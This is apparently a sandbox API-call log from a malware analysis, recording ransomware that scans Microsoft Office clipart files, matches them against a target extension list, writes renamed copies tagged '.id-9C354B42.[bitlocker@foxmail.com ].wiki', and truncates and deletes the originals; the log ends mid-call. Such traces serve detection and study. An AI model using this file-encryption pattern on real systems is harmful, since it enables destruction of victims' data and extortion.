1 [0187.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf")) returned 1 [0187.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0187.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0187.430] lstrlenW (lpString=".doc") returned 4 [0187.431] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.431] lstrlenW (lpString=".docx") returned 5 [0187.431] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.431] lstrlenW (lpString=".pdf") returned 4 [0187.431] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.431] lstrlenW (lpString=".xls") returned 4 [0187.431] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.431] lstrlenW (lpString=".xlsx") returned 5 [0187.431] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.431] lstrlenW (lpString=".ppt") returned 4 [0187.431] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0187.431] lstrlenW (lpString=".zip") returned 4 [0187.431] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.431] lstrlenW (lpString=".rar") returned 4 [0187.431] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.431] lstrlenW (lpString=".bz2") returned 4 [0187.431] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.431] lstrlenW (lpString=".7z") returned 3 [0187.431] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0187.431] lstrlenW (lpString=".dbf") returned 4 [0187.431] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0187.431] lstrlenW (lpString=".1cd") returned 4 [0187.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0187.431] lstrlenW (lpString=".jpg") returned 4 [0187.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0187.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0187.432] lstrlenW (lpString=".doc") returned 4 [0187.432] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString=".docx") returned 5 [0187.432] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.432] lstrlenW (lpString=".pdf") returned 4 [0187.432] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString=".xls") returned 4 [0187.432] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.432] lstrlenW (lpString=".xlsx") returned 5 [0187.432] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.432] lstrlenW (lpString=".ppt") returned 4 [0187.432] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0187.432] lstrlenW (lpString=".zip") returned 4 [0187.432] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.432] lstrlenW (lpString=".rar") returned 4 [0187.432] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString=".bz2") returned 4 [0187.432] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString=".7z") returned 3 [0187.432] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0187.432] lstrlenW (lpString=".dbf") returned 4 [0187.432] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0187.432] lstrlenW (lpString=".1cd") returned 4 [0187.432] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.432] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF") returned 63 [0187.432] lstrlenW (lpString=".jpg") returned 4 [0187.432] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.433] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.433] lstrlenW (lpString="DD00448_.WMF") returned 12 [0187.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.433] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2952) returned 1 [0187.433] CloseHandle (hObject=0x1cc) returned 1 [0187.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 0x20 [0187.433] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.433] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.434] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0187.434] GetLastError () returned 0x0 [0187.434] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xb88, lpOverlapped=0x0) returned 1 [0187.460] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xb90, lpOverlapped=0x0) returned 1 [0187.461] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.461] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.461] SetEndOfFile (hFile=0x1f0) returned 1 [0187.462] CloseHandle (hObject=0x1f0) returned 1 [0187.462] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.462] SetEndOfFile (hFile=0x1cc) returned 1 [0187.462] CloseHandle (hObject=0x1cc) returned 1 [0187.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf")) returned 1 [0187.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0187.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0187.463] lstrlenW (lpString=".doc") returned 4 [0187.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.463] lstrlenW (lpString=".docx") returned 5 [0187.463] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.463] lstrlenW (lpString=".pdf") returned 4 [0187.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.463] lstrlenW (lpString=".xls") returned 4 [0187.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.463] lstrlenW (lpString=".xlsx") returned 5 [0187.463] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.463] lstrlenW (lpString=".ppt") returned 4 [0187.463] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0187.463] lstrlenW (lpString=".zip") returned 4 [0187.463] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.463] lstrlenW (lpString=".rar") returned 4 [0187.463] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.463] lstrlenW (lpString=".bz2") returned 4 [0187.463] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.463] lstrlenW (lpString=".7z") returned 3 [0187.463] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0187.464] lstrlenW (lpString=".dbf") returned 4 [0187.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0187.464] lstrlenW (lpString=".1cd") returned 4 [0187.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0187.464] lstrlenW (lpString=".jpg") returned 4 [0187.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0187.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0187.464] lstrlenW (lpString=".doc") returned 4 [0187.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.464] lstrlenW (lpString=".docx") returned 5 [0187.464] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.464] lstrlenW (lpString=".pdf") returned 4 [0187.464] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.464] lstrlenW (lpString=".xls") returned 4 [0187.464] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.464] lstrlenW (lpString=".xlsx") returned 5 [0187.464] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.464] lstrlenW (lpString=".ppt") returned 4 [0187.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0187.464] lstrlenW (lpString=".zip") returned 4 [0187.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.464] lstrlenW (lpString=".rar") returned 4 [0187.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.464] lstrlenW (lpString=".bz2") returned 4 [0187.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.464] lstrlenW (lpString=".7z") returned 3 [0187.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0187.465] lstrlenW (lpString=".dbf") returned 4 [0187.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0187.465] lstrlenW (lpString=".1cd") returned 4 [0187.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF") returned 63 [0187.465] lstrlenW (lpString=".jpg") returned 4 [0187.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.465] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.465] lstrlenW (lpString="DD01015_.WMF") returned 12 [0187.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.465] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2226) returned 1 [0187.465] CloseHandle (hObject=0x1cc) returned 1 [0187.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 0x20 [0187.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.466] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.466] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0187.466] GetLastError () returned 0x0 [0187.466] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x8b2, lpOverlapped=0x0) returned 1 [0187.543] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0x8c0, lpOverlapped=0x0) returned 1 [0187.544] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.544] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.544] SetEndOfFile (hFile=0x1f0) returned 1 [0187.544] CloseHandle (hObject=0x1f0) returned 1 [0187.544] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.544] SetEndOfFile (hFile=0x1cc) returned 1 [0187.545] CloseHandle (hObject=0x1cc) returned 1 [0187.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.545] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf")) returned 1 [0187.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0187.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0187.546] lstrlenW (lpString=".doc") returned 4 [0187.546] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.546] lstrlenW (lpString=".docx") returned 5 [0187.546] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.546] lstrlenW (lpString=".pdf") returned 4 [0187.546] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.546] lstrlenW (lpString=".xls") returned 4 [0187.546] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.546] lstrlenW (lpString=".xlsx") returned 5 [0187.546] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.546] lstrlenW (lpString=".ppt") returned 4 [0187.546] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0187.546] lstrlenW (lpString=".zip") returned 4 [0187.546] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.546] lstrlenW (lpString=".rar") returned 4 [0187.546] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.546] lstrlenW (lpString=".bz2") returned 4 [0187.546] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.546] lstrlenW (lpString=".7z") returned 3 [0187.546] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0187.546] lstrlenW (lpString=".dbf") returned 4 [0187.546] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0187.546] lstrlenW (lpString=".1cd") returned 4 [0187.546] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0187.546] lstrlenW (lpString=".jpg") returned 4 [0187.546] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0187.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0187.547] lstrlenW (lpString=".doc") returned 4 [0187.547] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.547] lstrlenW (lpString=".docx") returned 5 [0187.547] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0187.547] lstrlenW (lpString=".pdf") returned 4 [0187.547] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.547] lstrlenW (lpString=".xls") returned 4 [0187.547] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.547] lstrlenW (lpString=".xlsx") returned 5 [0187.547] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0187.547] lstrlenW (lpString=".ppt") returned 4 [0187.547] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0187.547] lstrlenW (lpString=".zip") returned 4 [0187.547] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.547] lstrlenW (lpString=".rar") returned 4 [0187.547] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.547] lstrlenW (lpString=".bz2") returned 4 [0187.547] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.547] lstrlenW (lpString=".7z") returned 3 [0187.547] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0187.547] lstrlenW (lpString=".dbf") returned 4 [0187.547] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0187.547] lstrlenW (lpString=".1cd") returned 4 [0187.547] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF") returned 63 [0187.547] lstrlenW (lpString=".jpg") returned 4 [0187.547] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.548] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0187.548] lstrlenW (lpString="DD01139_.WMF") returned 12 [0187.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.548] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3632) returned 1 [0187.548] CloseHandle (hObject=0x1cc) returned 1 [0187.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 0x20 [0187.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0187.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0187.549] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.549] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.549] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0187.549] GetLastError () returned 0x0 [0187.549] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0xe30, lpOverlapped=0x0) returned 1 [0187.691] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xe40, lpOverlapped=0x0) returned 1 [0187.692] ReadFile (in: hFile=0x1cc, lpBuffer=0x3d00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0187.692] WriteFile (in: hFile=0x1f0, lpBuffer=0x3d00020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d00020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0187.692] SetEndOfFile (hFile=0x1f0) returned 1 [0187.692] CloseHandle (hObject=0x1f0) returned 1 [0187.692] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0187.692] SetEndOfFile (hFile=0x1cc) returned 1 [0187.693] CloseHandle (hObject=0x1cc) returned 1 [0187.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0187.693] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0187.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0187.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 63 [0187.693] lstrlenW (lpString=".doc") returned 4 [0187.694] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.694] lstrlenW (lpString=".docx") returned 5 [0187.694] lstrcmpiW (lpString1=".docx", 